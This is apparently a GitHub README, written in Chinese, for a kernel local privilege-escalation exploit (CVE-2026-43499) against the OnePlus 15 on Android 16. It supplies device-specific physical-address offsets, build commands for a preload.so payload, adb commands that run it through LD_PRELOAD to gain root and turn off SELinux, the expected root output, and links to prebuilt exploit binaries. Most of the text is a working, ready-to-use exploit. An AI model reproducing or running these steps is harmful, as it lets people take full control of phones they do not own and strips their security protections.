Bartixxx32/CVE-2026-43499-OnePlus15
GitHub: Bartixxx32/CVE-2026-43499-OnePlus15
针对 OnePlus 15(Android 16)的 CVE-2026-43499 内核本地提权漏洞利用工具,包含 kallsyms 对齐修复和经实测验证的设备 profile。
Stars: 0 | Forks: 0
# OnePlus 15 的 CVE-2026-43499
针对 OnePlus 15 的 Android 16 本地提权。
Fork 自 [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
包含 kallsyms 对齐修复以及经过验证的 OnePlus 15 profile。
## 已验证的 kernel
```
6.12.23-android16-5-gb2a876903b49-ab14541642-4k
```
## Profile
Profile 包含两个物理地址,必须在运行相同固件的已 root 设备上进行确认:
```
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
```
使用已 root 的设备进行自动检测:
```
python3 detect_offset.py
```
## 生成目标
需要 Python 3 和 `llvm-objdump`:
```
python3 generate_target.py \
--boot boot.img \
--profile profile_oneplus15.json \
-o source/src/target.h
```
## 构建
```
make -C source clean preload
```
如果未自动检测到 NDK:
```
NDK_ROOT=/path/to/android-ndk make -C source clean preload
```
输出:`source/build/bin/preload.so`
## 运行
```
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id
```
成功时:
```
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
```
在某些版本的系统上,完成漏洞利用后设备可能会显示 kernel 完整性警告。
重试通常可以成功。完整重启可恢复正常运行。
## 预编译二进制文件
对于已验证的 kernel(版本 `16.0.8.300`),预编译的二进制文件可在 `prebuilt/` 目录中找到。
同时在 `16.0.9.400` 版本上也确认可用。
⬇️ **[下载最新版本](https://github.com/Bartixxx32/CVE-2026-43499-OnePlus15/releases)** – 包含 `preload.so`、`su`、`run.bat`。
```
adb push prebuilt/preload.so /data/local/tmp/
adb push prebuilt/su /data/local/tmp/su
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell chmod 0755 /data/local/tmp/su
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id
```
## 致谢
- [x-spy](https://github.com/x-spy) 发现了原始漏洞和 CVE
标签:Android, DSL, Web报告查看器, 内核漏洞, 客户端加密, 本地提权, 逆向工具